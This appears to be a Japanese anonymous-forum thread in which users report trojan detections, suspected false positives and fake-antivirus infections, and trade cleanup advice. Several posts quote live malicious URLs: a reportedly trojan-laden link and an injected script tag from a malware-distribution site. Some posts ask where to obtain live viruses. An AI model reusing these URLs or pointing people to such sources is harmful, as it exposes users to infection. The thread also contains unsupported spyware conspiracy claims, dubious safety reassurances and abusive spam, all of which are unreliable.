http://www.bestofunder.com/?cgi-bin/cx/loader/up129836.zip.html
このリンク踏んじゃいましたが、どのような被害があるかどなたかおしえてもらえますでしょうか？

>>539
嫌です。

>>539
感染者は2chに来るな

トロイの組み込まれたリンクを踏んだんだけどAVGフリーには全く反応なし
Windowsのダイアログで問題が解決できませんみたいな表示が出たぐらいで
今のところ目立った悪影響はないんだけど、心配なので
セーフモードでAVGスキャンしても検出されなかった。
IEが弾いてくれたのかわからないけど、トロイの組み込まれtらリンク踏んでも
セキュリティが無反応で結局何ともなかったという例はあるのですか？
何かあればセーフモードで引っかかるはずなんだけど
AVGが優れてたからなのかIEが知らぬ間に弾いてくれたのかはっきりしないのがちょっと不安・・・

ウイルスバスターいれててもトロイ仕込まれて涙目。
隔離＆駆除したけれど、ブルースクリーンエラー＆再起動の現象。
Cドライブのみのリカバリだけでは無理で、クリーンインストールしなおしてなんとか復帰した。
Windows updateマンドクセ・・・

池沼・情弱と言われるのはしかたがないが
「トロイの木馬に感染したのがどうしてわかったの？」
セキュリティソフトのスキャンで見つかっただけじゃないの

>>521
どの種類か分からんが
よくあるgenericとかなら
そんな簡単に流れないんじゃないかな。

Windows Live OneCareのプロテクトスキャンの結果、
＞とても危険性の高い問題が２個見つかりました
＞ Trojan:Java/Rowindal.A
＞ 問題１
＞ c:\documents and setting\俺の\application data\sun\java\
＞ deployment\cache\6.0\31\7089bc9f-6c566947
＞ TrojanClicker:Win32/Yabector.gen
＞ 問題１
＞ c:\program files\unlocker\ebay_shortcuts_1016.exe
ちなみに別のPCでも Trojan:Java/Rowindal.A を発見。この時は、\cache\6.0\31 の \31 が \11 だったような気がします。ちなみにVB2010では無反応でした。

たーいへーんだー

【ターミネーター】空港のPCがトロイの木馬感染で飛行機が墜落炎上...
http://kamome.2ch.net/test/read.cgi/news/1282646049/l50

agent.lizってトロイアンは流行ってるのでしょうか

シマンテックのauto-protectで毎日同じトロイの木馬が検出・削除されてます。
そのウィルスのファイルをネット検索したら誤報みたいな英語のページが出て来たんだけど翻訳に自信がなくて参ってます。
シマンテックが誤報ファイル一覧とか出してはいないんでしょうか

AVGでabload_r.AKCというトロイの木馬が検出されたけど「オブジェクトに
アクセスできません」とでて駆除できない。svchost.exeやExploer.exe、
IE、Firefox.exeなどから検出されてる。

同様のケースの人いませんか？

２ちゃんの自作ＰＣの板にいくと、トロイの木馬として
ＡＶＡＳＴが動いてページを見られなくなりました。

同じような方いませんか？

＞５５２
　俺もいっしょ

Trojan .PWS Webmonierってのに感染した
助けてくだされ！
Win98使ってます・・・

Win98…氏ね

原始人だからって士ねはないでしょ

サポートが終了したOSを使っているやつが
セキュリティ板にくるんじゃねーよ

>>554
初期化すれば無問題

>>558
ありがとう
やります

AVGが急にGeneric19.AEFAというトロイの木馬を検出したんですが
ググってもろくにヒットしなくてこれはどういったトロイなのか分かる人いませんか？

>>560
同様に、トロイの木馬Generic19.AEFA が検出された。

ファイルは NornSoft 「ツンデレ妹〜〜ダウソ版」の実行ファイル
これは問題ないのか？

ググっても出てこないしｗ

俺も割れやってないのに検出されたわ

誤検出みたいだね
俺も同人ソフトいくつか隔離されちゃった…
治ってからインスコしなおしだ

なんか吉里吉里本体とそれで作られたフリゲーが続々と隔離室へ行ってしまう

これに合わせたかのようなサイトメンテ。
最新版がでるようだが、どうなってんだろうか。

★セキュリティ初心者質問スレッド　から
http://hibari.2ch.net/test/read.cgi/sec/1276269248/3
http://hibari.2ch.net/test/read.cgi/sec/1276269248/658

予防措置と
併用セキュリティで自衛をするようにしましょう。

sshnas21に感染ー
実害はよく分からんが復元中のファイルにも感染して最高に鬱陶しかった
あとファイアウォールが無効化されてたがまあどうでもいいだろう

Generic19.AEFAの誤検出修正されたのかな？検出されなくなったわ

AVGでGeneric19.AFGWキタ
AEFAじゃないから誤検出じゃないのか
検索しても何も出てこない

今AVGでエロゲからトロイみつけたって言われた。
びっくりして思わず即刻削除してしまったorz
きちんと名前確認しなかったし…。

このエロゲ、今友人に貸してるんだよなぁ。

>>570
割れ厨乙って言っておく

Fake AV Trojan Download Activityとかいうのに感染したかもしれない
侵入を遮断しましたっていうメッセージが頻繁にでるんだけどこれはやばいのですか？

汚染を除去しました。

ツイッターで以下のようなツイートを見ました

【ちょびっと拡散希望】
にんミュ竹谷役「白又敦」をやふー検索して一番上にでてくる
「白又敦 - ジャニーズプレミアム辞典」をクリックすると
トロイの木馬をふむので注意！【忍ミュクラスタ】

サイトを見てしまってから上の注意に気付いたのですが
平気でしょうか？

219174 2241９

質問させてください。

AVIRAでトロイが検出されたので同ソフトの機能で一旦それを隔離し、隔離した物を消去しました。

再びPC全体をスキャンした際には検出されなくなったのですが、とりあえずは安心していいのでしょうか？

以前、｢トロイは対処が大変で、最悪OSを入れ直す必要もある｣
と聞いたことがあるので少々不安が残ってます。

PC起動するたびにAVGFreeにてトロイが検出されます。
そのあと全スキャンしても何も検出されず
この状態はどういうことなのでしょうか

レジストリの中にNvCplDaemon　NvMediaCenterとあります
Runには　　application/x-msdownload
これはトロイですか？

そうであるならば、いつ仕込まれたか調べる方法とかありますか？

ちなみに　msconfig にはコマンドRUNDULL32.EXEc:￥windoes￥system32とあります

昨日、Windows Vista Recovery [Trojan:Win32/Alureon.EP]ってやつに感染したw
どうやっても削除できなくて焦ったけど、セーフティーモードでスキャンしたらなんとか上手くいった
被害はデスクトップとスタートのアイコン、壁紙が全部消えたくらいだけど、なんか気持ち悪い

>>579
自分もひっかかった。ここ最近で増えてるトロイみたいだね
ttp://secur1ty.blog116.fc2.com/blog-entry-72.html
とりあえずMBAMかけてシステム復元してもう一度MBAMしといたけどやっぱ気持ち悪いね

>>579,580
そんなチンケなトロイにどうやったら感染するんだ？
Windows、JAVA、Adobe、Apple製品のアップデートなし、アンチウイルスなし、HIPSなし、IEのセキュリティ設定を最低な環境でも感染は防げるのに。

>>581
半年くらい前にウイルスバスターやめて、Microsoft Security Essentials使ってた
一応、検出して削除してるみたいだが、まんまとすり抜けられたw
今とりあえず、ノートンの体験版入れてる

>>582
アンチウイルスでしか防御ができない情弱乙。

無理もない

パンダの無料版ってマジで使えないわ
去年ウイルスバスター切れたから今年からこれ入れてたんだけど
知らない間にトロイ入ってたみたいで、ノーパソが途中で充電できなく
なったり勝手に電源落ちてたりで、しまいにゃHDDに異常があるような音すら
出てたからPCの買い替えを考えてたんだけど、偶然ウイルスバスタークラウドが
を借りて入れたらトロイ消してくれてPCの不調も一気に消えとんだｗ

ようはトロイ怖いしパンダは使えないってことです。

Windows Vista Recoveryに感染したら
ＨＤＤ中身はあるが表示されなくなるという状態になりました
誰か助けてください

俺も今日Windows7 Recoveryにかかった
ウイルスには無知だからかなり焦った
とりあえず司令官なんちゃらって個人のブログに対処法書いてあって助かった

俺もかかったけど感染した仲間がたくさんいて安心したw
PCリカバリした直後で更新プログラム入れてなかったせいかもしれん
トロイって気づくのに小一時間かかってしもたw

有料版のセキュリティベンダーのいくつかはそのHPにトロイが含まれていることを知っていて、ユーザーが接続要求してもブラウザでチョンと切断する
ようなしくみになってきてるんだよ→最近の傾向として、有料版のセキュリティベンダーのいくつかはねｗ

無料で利用させている意味、有料である意味はそこにある

今頃そんな事やりだしたのか?
avastやAVGは昔から無料版でやってるぞ

Windows Recoveryに掛かったやつは割れ厨だろ

windows Recoveryは削除して表向きは問題無くなったけど
MSofficeがごっそり消えてる件について

Generic dropper.va.gen.tに感染しました。
デスクトップ配下が全て隠しフォルダに変更され、
スタートプログラム配下の登録が全て消去されていました。
駆除後、セーフモードでハードディスクをフルスキャンしたところ
いなくなったようにみえます。

ググってみても情報が少ないので同じトロイにかかったことのある方いたら
どういった症状がでてどういう対処で直ったか教えてください。

>>593
ここ見てみれば
【緊急!】ウイルス即行駆除方法【助けて!】Part4
http://hibari.2ch.net/test/read.cgi/sec/1231490187/

Trojanにかかったら、クリーンインストールしたほうがいいと思うけどね

>>592
それ消えてないよ。隠されてるだけ
司令官報告ですってサイトに表示させるツールあるよ

パソコンの調子が悪くなって、他のパソコンにHDDを持って行ってスキャンしたら
トロイの木馬が検出されました。

で、その後、OS再インストール、アンチウイルス(NOD32)も最新版にして、
よく行くサイトに行ったらアンチウイルスから接続を遮断すると警告でたので、
サイトのソースを見ると
<script type="text/javascript" src="http://alexeybakhtin.com/sidename.js"></script>
が入っていました。

これは、やはり、トロイなんでしょうか?

>>596
avastも反応した。
しかし、avastをオフにしてそのスクリプトを実行させてみたが、俺の環境では無害。
ちなみに、IEのセキュリティを最低にしてやってみた。

>>596
トロイを呼び寄せるためのスクリプトっぽい。
NISでアクセスしたら「Web Attack: Blackhole Toolkit Website 7」と出て接続が遮断された。

http://www.virustotal.com/file-scan/report.html?id=38727abc1c97f7cbbd0a3570e2310482092bffad8a7d61b1531e5d913ccae176-1308871641

>>597,598
検証までして頂き、ありがとうございます
やはりなにかいる様ですね
サイトの人と連絡を取って対策します

>>597
avastが「悪意のある URL をブロックしました」って
ポップアップ出すのに無害なのか?
そこは他所でも報告されてるマルウェア配布サイトだぞ

>>600
情弱には信じてもらえないが、アンチウイルスに検出されないマルウェアも俺のWindows環境では無害。

windows Recoveryに感染したいんだけど
どこにいけば発病できんの？

>>602
俺も知りたい

>>601
管理者アカウント以外なら安全だと思ってる情弱君ですね

パソコンを起動のたびにアメリカの町の天気予報を表示するへんなウィジェットが立ち上がるようになった
ウィジェットなんて全くインストールした記憶もセットした記憶もないんだけどウィルス？？？
乗っ取られてないかどうやったら分かりますか？

ＡＶＧがアラート→トロイ発見、隔離その１→AVGフルスキャン→ウイルス無し
→念のためシマネテックオンラインスキャン→トロイ発見、その２→手動で削除
→シェル拡張スキャン→ウイルス無し→一安心→数十分後、アラート→トロイ発見、その３

現状、目立つ被害無し。ただパスワード窃盗型っぽいのが混じっていたのでpixiv、ニコ動、Eメールその他のパスワードを全て変更するハメに
３種類とも名前の違うトロイだったが、バックドアを作られた臭いな

>>606
ルートキットのスキャンしとけ
ルートキットでバックドア仕掛けられて、次々とトロイ、ウィルスをダウンロードされるよ

というより、OS再インストールしといたほうがいいような

>>607
やっといた＞ルートキットスキャン
一応検出は無かったから様子見て、またトロイが検出かＰＣが怪しくなったら再インスコするわ

nortonの侵入検知が数秒おきに
DeepThroat トロイの木馬のデフォルト遮断の警告出すんだけど
これってやばい？
インバウンドUDPパケットって書いてあるけど
なんか感染したのかなぁ

age

　や　ば　い

>>611
土曜日から急にこんな状態になって
一体、私のPCで何が起きてるんでしょうか・・・

誰かtrojanpspbrickうｐしてくれ。

スキャンしてもなんも出ないし
シマンテックのセキュリティチェックも全部ステルスだし
ほっといてもいいのかな？
もうわけわかんないよ

数日間、固定されていたIPアドレスが変わった
侵入検知の警告は無くなった
IPアドレスが原因だったのだろうか
一体なんだったのか…安心していいのか…

>>615
おまんちんもどきでも踏んだんじゃないの？
それか前のIP保有者が踏んだか。

>>616
そういう事なのかもしれません
PCに異常は無いので　あまり気にしてもしょうがないのかもしれませんね

ここ数日　お騒がせいたしました

感染してしまいました…
何故かここ最近起動もしたことないましろ色シンフォニーというゲームに感染してました

はぁ…カスペルスキー使ってるんですが処理してくれたのか分からない

割れ厨

他スレでもかいたんだが原因となっているファイルがフレッツ接続ツールとボリュームのファイルなんだ
これってもしかして誤検出？

ぐぐると同じような症状で最近の人見かけるし…ファイル名にpswが入ってるからパス窃盗型？だよな…

adobeアップデートしてたら、MSEさんが「Trojan:Win32/Lukicsel.I」 っての検出して
アップデート強制終了しちゃうんだけど、ひょっとしてadobeやばいの？

ウィルスバスター2010だけどルーター使わずモデムに直線繋いでるから危険だなぁ
月に3匹くらい見つかるけどヤバい？

Symantec Security Checkセキュリティスキャン結果が
「セキュリティ状態:状態不明 スキャンの結果、脆弱性の状態が判断できませんでした。」


やばい？

トロイの木馬は消去したデータを復元させて情報を流出させるということを行ったりしますか？
トロイの木馬に感染していたようなので気になりました。

見境無くマルチしすぎだろ

windows recovery の亜種に感染したよ
windowsupdateしてないpcでアフィブログ閲覧してただけだったがサイトが感染していたみたいだ
ウィルスバスターがよくわからんURLを頻繁にブロックするなーとみてたらブラウザが急に落ちて
例の偽セキュリティソフトが立ち上がりやがった

トレンドマイクロのブログとかみてなんとか削除できたけどすべてのプログラムが隠された状態だったのが、
ほとんどのプログラムが隠されたまま復活しない、Program filesにあるexeファイルならなんとか手作業で戻せそうだが、
システムの復元とかどう復活させればいいんだ
OSがXPだからか
ショートカットも残ったままだし
ウィルスかかってからもう３時間以上悩んでいるがわからん

慌ててしまってチラ裏にしかならないんだが、一応報告

・2/1、IE8(OSはXP)でブラウズ中にMSEがExploit:win32/Pdfjsc.RMの検知を警告
・削除→気持ち悪かったので、再起動
・再起動後、再度同じ警告→削除
・IE8の動作が猛烈に遅くなる
・PC、モデム、ルーターの再起動を繰り返しても治らない；；
・システムの復元を行ったところ治ったｗ

本文長いと一度に投稿できないのね

（続き）
3年くらいやっていなかったWindowsUpdateをやってから、
MSEの定義ファイルを最新にして、フルスキャン→問題なし
シマンテックのオンラインスキャン→問題なし

セキュリティーソフト使っていても絶対安心ではないことが身にしみてわかりました

トレンドマイクロ　オンラインスキャンを行ったら
wpbt0.dllというトロイの木馬が検出されたのですが、どのようなウイルスなのでしょうか
ぐぐって調べても良く分かりません

今はもう解決したけど、2年前にトロイに感染した。
勝手にファイアーウォールを無効にされたｗ
すぐに気付いたからよかったけど。

Yahoo!スポーツを見ようとしたらトロイの木馬を検出して隔離しましたって言われた。
日時は、2月20日（月）午後15時35分頃のできごと。
セキュリティーソフトはMcAfee。

だれか同じようにYahoo!スポーツでトロイの木馬検出した奴いる？
McAfeeの誤作動なのか、はたまた超メジャーなサイトに巧みに組み込まれたウィルスなのか？
結構気になるな。

職場のパソコンがトロイの木馬に感染したようなんですが、感染したパソコンにUSBやカメラのＳＤカードを差し込むとそのUSBやＳＤカードも感染するのでしょうか？

教えてください。

>>634
やってみれば分かる

Trojan-Dropper.Win32.Genome.fheってやばそうなのが出てきたんだけど
これはどういうタイプ？エロサイトとかで感染したのかな

今夜寝れないよ。格闘中。立ち上げると画面真っ黒でゴミ箱しかでない。
トロイ検出されて駆除ツールで隔離･削除したんだが…

あのさ、リカバリした方が良いべ

あるウイルス対策ソフトで、某巨大ゲームの起動のファイルの一つがトロイの木馬として隔離されました。
大丈夫だろと思って無視して実行しましたが、その後、窓のファイアウォールが勝手に無効になってるのに気づき、有効にしなおしました。
関連があるのでしょうか？
それと、このままほっておくと、ヤバイでしょうか？

知り合いで弘道会の腰抜け〜”　やっております。

焼け焦げた⇒デブ”

ガンブラーのサンド・アイアンさん。

しかにしても弘道会＝弱ぇ〜”


弱ぇ〜”弱ぇ〜”弱ぇ〜”弱ぇ〜”弱ぇ〜”

お前は頭が弱そうだな

TROJ_SIREFEFってrootkitはトレンドマイクロのオンラインスキャンで検出できる？

ADOBE更新しろって出てきて更新したらトロイ検知した
ノートンで完全スキャンしても数分ごとに脅威を遮断しましたとか出る・・・
リカバリするしかないのか

いまリカバリしてきた。絶対呪ってやるから。

AVG Anti-Virusフリー版を使用しているのですが、「トロイの木馬GENERIC28.AUQH」に
感染したと警告が出ました。感染したファイルは「c￥windows￥assembly￥GAC￥Desktop.ini」です。
除去？しようとしても「アクセスが拒否されました」となります。どう対処すればいいんでしょうか？
Firefox12.0を起動するたびに「感染した」という警告が出るのですが、Firefoxが関係しているのでしょうか？

つづきです。
「GENERIC28.AUQH」についてグーグルで検索しても日本語のサイトは見つからず、英語のサイトでは
駆除方法が書かれているのですが、ちょっと怖くて出来ません。
どなたかアドバイスをお願いします。

ウイルス対策ソフトでも駆除できずにトロイとか他にも色々数分ごとに検出されてたから
思い切ってリカバリしたら駆除できた
ついでにネットとかネトゲも軽くなって得したｗ
>>645
あんまりPC詳しくないのですがアクセス権がないとかじゃないですかね
まあ実際ウイルスなんて検出仕切れてないこともあるから
リカバリする方が確実だし手っ取り早いと思いますよ

ベクターでダウンロードしたフリーソフト（zipファイル）を解凍したんですが、
そのあとでAVGでスキャンしたらトロイの木馬がみつかりました。

zipファイルをスキャンすると４個で解凍した後のフォルダをスキャンすると３個みつかるということは、
１個は感染してしまったということになるのでしょうか？

（ソフト名）.exe:\{app}\sponsors\kso_download.exe";"トロイの木馬Dropper.Generic3.AEBC";
（ソフト名）.exe:\{app}\sponsors\kis_download.exe";"トロイの木馬Dropper.Generic3.AEBB";
（ソフト名）.zip:\（ソフト名）.exe";"トロイの木馬Dropper.Generic3.AEBC";
（ソフト名）.zip";"トロイの木馬Dropper.Generic3.AEBC";

zipも解凍したフォルダも削除してAVGでスキャンしたら何もみつからないのですが、
リカバリしたほうがいいでしょうか？

202.208.206.43
やまひらという化粧品メーカーですが、ここにアクセスしたら
トロイという警告が出ました。

どうやったら駆除できるんでしょうか

>>647
レスありがとうございます。返事が遅くなってすみません
OSを再インストールして、すっきりしました。
ありがとうございました

.NET Runtime Errorダイアログがでて、実行元があやしいんだけど
ググっても何も出てこない。。。アンチウィルスはMSSE、Win7、いまフルスキャン中
なんかのトロイかね

System.Reflection.TargetInvocationException: 呼び出しのターゲットが例外をスローしました。 ---> System.ComponentModel.Win32Exception: %1 は有効な Win32 アプリケーションではありません。
場所 System.Diagnostics.Process.StartWithShellExecuteEx(ProcessStartInfo startInfo)
場所 System.Diagnostics.Process.Start()
場所 System.Diagnostics.Process.Start(ProcessStartInfo startInfo)
場所 System.Diagnostics.Process.Start(String fileName)
場所 N3o.Night.Main()

Sympathy Stresser
アセンブリ バージョン: 1.0.0.0
Win32 バージョン: 1.0.0.0
コードベース: file:///C:/Users/*****/AppData/Local/Temp/083cc9ee.tmp

N3oDLL
アセンブリ バージョン: 1.0.0.0
Win32 バージョン: 1.0.0.0
コードベース: file:///C:/Users/****/AppData/Local/Temp/083cc9ee.tmp

TDL4にやられた

トロイに感染したよ。

いきなりＣＰＵの温度が沸騰しちゃうよぉ ってな温度になりやがったww

それで早期発見できたからよかったが、こわかったから結局OSを再インスコしたよ。 動作を気にしないソフトとかは全部外付けHDDにいれといたから復旧が楽だったな。

AppData\Roamingに0.exeってのが消しても消しても作られてなにが原因かさっぱりわからない
avastで何度スキャンしてもAppData\Local\Temp\005bf20.exeってのが一個だけ高圧縮ファイル爆弾ですと引っかかって削除もチェストに移動もできない
隠しファイルは表示にしてるけどこの005bf20.exeってのは見当たらない
何かコレっていう可能性のものありますか？誤診断ですかね

昨日から急にネットに繋がりにくくなったんだけど
何かに感染したのかな
特にプロバイダに障害発生してるわけじゃなさそうだし
スパイボットじゃ何も検出されなかったから
とりあえずアバストをインスコしてみる

【IT】マイクロソフトが発見！中国製PCに出荷時からウィルス「中国製のパソコンや情報端末の購入には、慎重になったほうがいい」★２
http://uni.2ch.net/test/read.cgi/newsplus/1347879086/

＊＊＊＊＊＊＊＊＊＊＊＊
可能性としてありうる。

１、中国製パソコンの画像データには以下の実行
プログラムソースがふくまれてる。

２、有事の際には中国当局からネットで全世界の
パソコンに指示を出し、機能停止が可能。

３、夜間定期的に送受信メールやテキストファイル、PDFの中身を
自動的にスキャンして、中国に対する不利益な動きに対し
自動的に中国当局に警報メールを発信する。もちろんIPアドレスから
そのPCの位置情報、個人情報のすべて。

４、上記を検出、ソース表示をしようとする動きに対し、フリーズ、暴走する機能内蔵

技術的にはすぐにでも可能。
というかすでに中国出荷の全PCやBIOS
のレベルでインスコ済みの可能性がある。
　
＊＊＊＊＊＊***************

ウイルスがあるサイト教えてくれ
まだ残っててダウンロードできるサイトな

ＡＶＧでトロイの木馬がreal playerで検出されたと出たのですが
real playerをアンインストールして再インストールしたら検出されなくなりました。

トロイの木馬は検出されたらリカバリーしない限り消滅することはないと聞いたので
誤検知のだったのでしょうか？

＞トロイの木馬は検出されたらリカバリーしない限り消滅することはない
そんなデタラメだれが言ったんだよｗｗｗ
トロイも他のウイルス同様、検知されても事前ブロックあるいは駆除/削除された場合は問題なし

しかし今回のreal playerの件はAVGの誤検知じゃねえのか？
(real playerは有名ソフトだし、昔からAVGはreal playerをよく誤検知している）

誤検知がどうかわからない時は落としたファイルをVirusTotalにかけて確認しろ
それで反応してるのがAVGだけとか、ごく少数のマイナー会社のソフトだけとか
そういう場合はまず誤検知だから
https://www.virustotal.com/

そ・う・か
氏・ね
そ・う・か
氏・ね
そ・う・か
氏・ね
そ・う・か
氏・ね
そ・う・か
氏・ね
そ・う・か
氏・ね
そ・う・か
氏・ね　
そ・う・か
氏・ね
そ・う・か
氏・ね
そ・う・か
氏・ね
そ・う・か
氏・ね
そ・う・か
氏・ね

検出率　誤検出数　ソフト名　http://www.av-comparatives.org/images/docs/avc_fdt_201209_en.pdf 2012/10/08更新　ウイルス240,859個の検出率
ADVANCED+ ★★★
99.8%　10個　Avira
99.6%　*7個　Trend Micro(ウイルスバスター)　
99.2%　*5個　Kaspersky
99.2%　10個　BitDefender
99.2%　10個　BullGuard
99.2%　14個　eScan
98.8%　12個　McAfee
98.6%　11個　avast

ADVANCED ★★
99.9%　23個　G DATA
99.6%　20個　Panda
99.2%　11個　Fortinet
98.7%　19個　Sophos
98.5%　34個　GFI Vipre
97.4%　*4個　ESET

STANDARD ★
98.0%　36個　AVG
94.9%　*0個　Microsoft(MSE)
94.4%　15個　PC Tools

TESTED
95.6%　20個　AhnLab
80.0%以下 210個　Webroot

※圏外：Kingsoft

質問なんですが、トロイの木馬に感染すると、アプリケーションが強制終了しちゃう事ってありますか？
友達が、今日イラストスタジオミニが強制終了しちゃって使えないと言っていて・・・
今日、その友達のUSBに入ってる画像を、私のパソコンに入れたら、少ししてトロイの木馬が検出されましたって出てしまったので、心配なんです

ウイルスバスターの体験版を使って見たら
system32のdll.dll(mcのファイルじゃない)から
TROJ_GEN.RCBC1INというウィルスが早速発見された
トロイの木馬なのは間違いないんだけど、
基本の対処法やら過去ログを漁って見たが消しては復活してばかり
もうリカバリーするしかないかな？

リカバリーしたら楽になる

トロイの銀行

これだな
http://www.daiwa-dp.co.jp/selection/data/1242878738.htm

マカフィ大佐がトロイ駆逐してくれた

トロイ入れられたなｗ
削除したけど
いじられたわｗ

どいつがやったか調査しないとｗ

消しても復活するとは知らなかったよ
怖すぎだろ・・・

iPhoneでも感染するの？

しない

DHDからトロイが検出されたのですが対処法方がわかりませんたすけてください

一般人にやるくらいなら
警察にやれよ

情報の宝庫だろ

&gt;&gt;2で終わってた←じゃあ続きのレスすんな
http://hayabusa.2ch.net/test/read.cgi/news4vip/1355498671/

runtime error 216 at 00003188これどーすりゃいいの・・・・・・・・・・・・・・・・・・・・・・・・・・・・・

トロイウィルス感染後のCドライブの容量に関する質問です
先日私のPCはトロイの木馬ウィルスに感染してしまい、慌てて、私はすべての感染してしているファイルを削除してしまいました
そのせいか、Cドライブ（デスクトップ、ピクチャ、本体に関するプログラム系）に物を置けば当然容量は減っていくのですが
物を削除しても容量に反映されず、一向に増えません。すべてのファイルを見て計算した所20Gほど開きがあるはずなのですが
３Gほどしかありません。デフラグ等は無意味でした

おそらく大事なファイルか何かを削除してしまったためにこのような現象が起きているのだとは思いますが何か思い当たる方はいませんでしょうか？
OSはウインドウズセブンです

至急お願いします

創価諸君よ！
田浦本部横須賀桜山支部の偉大なる男子部
高橋裕之氏が1月10日と1月31日に宝くじ1等・前後賞が当たるように
また女子部と結婚成就と障害者年金1級受給と健康とご長寿と貯金残高10億円と刑事権力から護り抜く
祈りを毎日30分しっかりと高橋裕之氏に題目を送って行こうではありませんか！
特に飯田一家・柏崎まさかつ・徳永一家・宗像一家・尾崎一家・土井一家･尾島一家・横須賀総県創価学会員は喜んで祈るに祈っていこうではありませんか！
また女子部は何が起きても疑うことなく高橋裕之氏について行きなさい
いいね！

　　　　
■2012年11月のウイルス脅威　　2012年12月13日　企業専門ウイルスニュース

トロイの木馬 (Trojan．Agent/Gen-他　Trojan：Win32/Symmi他)の多くには トロイの
実行ファイルをRecycle Binフォルダ内に置くことで、コンピューターに接続する全ての
リムーバブルデータストレージデバイスを感染させます。次に感染させたデバイス上の
フォルダを隠し、代わりに該当するファイル名の付いたショートカットを作成していきます
が、このショートカットがトロイの木馬の実行ファイルへとリンクされています。その結果、
感染したデバイス上にあるいずれかのフォルダを開こうとしたユーザーは、悪意のある
アプリケーションを起動させてしまうことになります。さらに、このトロイの木馬はデバイ
スのルートフォルダ内にautorun.infファイルを置くことができ、それにより、デバイスが
他のコンピューターに接続されるだけで自動的にトロイの木馬が起動して侵入します。

◆
トロイ(Trojan．Agent/Gen-他、Trojan：Win32/他)、この記事そのんまま、どえらい状態に！
ろいろ調べたら企業専門会社にトロイ記事が。
流行感染しているそうだ。ＨＰを見るだけで感染、ニースサイトでも感染とか、ネットショップ
のページからも感染とか、事例はいろいろ。自分は初めてのネットショップ
で感染の心当たりが無い。
　　　　　　　　　　　　　　　　↓ 　
症状
*自己増殖して動きまわり、CPUを１００％使用するトロイ．EXEが何個も何十個も発生！動き周りパソコンは止まる！
*自己増殖したトロイのEXEファイルは、Applicaton Dataファイルに大量の●●．EXEを作っていた。
*※「タスクマネジャー」を開いて、動いている●●．EXEを停止させ、●●．EXEを削除。
*ネットが詰まってパンク状態。「接続の問題を診断」ボタンを押すと、「Winsockプロバイダ カタログに問題が・・・」と表示。
*一旦終了して立ち上げるとネットは１時間程は使えるが直ぐにパンクして繋がらない。今度はネットを占領している。

　複数のウイルス対策ソフトを使ってトロイの木馬(Trojan)の全てを検出させ苦労して駆除
　　　　　　　　　　↓

　USBメモリーを刺してもUSBメモリー内にトロイの木馬が侵入することは無くなった。　

あ

ラクサナ・トロイが三角木馬に跨ってると聞いて…

アンラボからESETに変えたら
システムメモリ > explorer.exe - Win32/SpamTool.Agent.Tの亜種 トロイの木馬
削除できませんって出るんですが、どうすればいいでしょう。

iPhoneでも感染はするのでしょうか？
よく確認もせず.asia踏んでしまったので不安です…
画像のダウンロードでも感染はありうるんでしょうか…

朝からクロームが勝手にリロードを繰り返すのでトレンドマイクロで調べたら
トロイの木馬が検出された
（2回やって2回とも）

夕方クロームを一度消してまた再インストールしたら勝手なリロード繰り返しがなくなったので
またトレンドマイクロで調べたら
「ウイルスは検出されなかった」とのこと。

これって最初の2回は誤検出ってことなのかな。
クロームが悪さしてただけ？

Trojan.LNK.Agent.E ってのを検出したけど駆除できない　助けて

うちのAviraちゃんがありとあらゆるファイルから
TR/Fake.AVを誤検出するんだけど
このFake.AVの正体ってなんなの？

誤爆した…
すまぬ…すまぬ…

とろいからトロイの木馬なんかに感染するんだよ

ウイルス/脅威: TROJ_SPNR.3CIT13
感染源: 脅威
影響を受けるファイル: C:\Users\省略\aDkf+B_D.exe.part
処理: 削除済み
スキャンの種類: リアルタイムスキャン


引っかかった。 なんだよこれ・・・。削除したけどトロイじゃバックドア
かけられてるかもしれねーからクリーンインストールするわ

めんどくせぇ。

>>657
君が望むようなウイルスかどうかわからんけど、ul.toとかuploading.com、そして
filefactory.comやextabit.comなどのアップローダーは、殆どが
マルウェアと呼べる自社製ダウンローダーを落とさせようと、標準仕様で、
「はい、ダウンローダーを使います！」にチェックが入ってる
uploading.comのとか、放って置くとダウンロード始まるらしい
あと、iLividとかいうソフトは「ダウンローダーとして使えねえ！単なるマルウェア！」という
評価を受けてるのを見た事がある

怪しげな違法ファイルサイトならまだうじゃうじゃウイルスがあるらしい

iPhoneで感染するんでしょうか？変なURL見てしまいました。

www.kingfiles.netって所の「自社製プログラム」、
もしかしてトロイ？

情報弱者ですいません。
少し前に検索し、１６こ出てきたJAVA_exprloyt.blyというファイルと、トロイの木馬のヤバさ、注意点、対応法を教えてください。

�@葵という人物が、犯罪に合い、それを苦にして自殺してしまう
�A葵という人物を、襲った犯人は立花善次である
�B葵の自殺により、母親は精神が壊れてしまう
�C桜宮一家による、立花善次への復讐劇がある
�D葵という人物は、自殺して死んだ後も防腐処理され美しい姿を保ち、物語の死と生を包む神秘性や象徴や偶像として存在する

トロイを見つけて削除した後ってリカバリしたほうがいいの？

>>694
した方が多分いいけど、大変な作業になる場合も多いから、
感染してすぐとか検知しただけの場合そのまま使う人も多いみたい
（もちろん自己責任で）

>>694
いちいちリカバリするバカなんてほとんどいない
セキュリティソフトが見つけて隔離あるいは削除した段階で終了
ついでにMalwarebytes' Anti-Malwareあたりでスキャンして何もなければまず安心

昨日、いきなりアクションセンターがトロイが検出したって騒ぐから開いてみて指示のまま削除したんだが・・・
これで良かったのだろうか？
調べてみるとなぜか半年くらい真のファイルからもトロイが検出されたんだけど・・・
まともなセキュリティソフト入れてないから知らん内に入れられたのかな

トロイに引っかかるヤツはトロイから。

今朝パソコンを開いてセキュリティソフトを見たら、
トロイの木馬を検出、駆除しましたのなってたのですが
トロイの木馬に悪さをされたかどうかわかりますか？

手動スキャンして問題ないなら大丈夫じゃないの？
何ならそのトロイがどのようなものか名前で調べてみるとか。

以前、怪しいサイトでクリックしたときは、
即座にセキュリティソフトの「トロイの木馬を検出、削除しました」というアラートが出たのですが
今朝明け方、PCをつけたままで寝ていた間に、
セキュリティソフトの定期スキャンでトロイの木馬が発見されたらしく削除、隔離となっていました。
即座に検出された場合はPCにほぼ害はなさそうですが
定期スキャンで発見されるような場合は一定期間PC内にトロイの木馬がいて
何か悪さをした可能性が高いのでしょうか？
また、PC内に入った時に気は検出できず、なぜ定期で検出されたのでしょうか？
よろしくお願いします。

PC見たらOutlookが勝手に起動してて北朝鮮〜って題名でメール送ろうとしてたんだがかなりまずい状況だよね
Outlookは設定して無かったのでメールは送れなかったようだが…
Msse見たらトロイの木馬を検出しましたとなっていた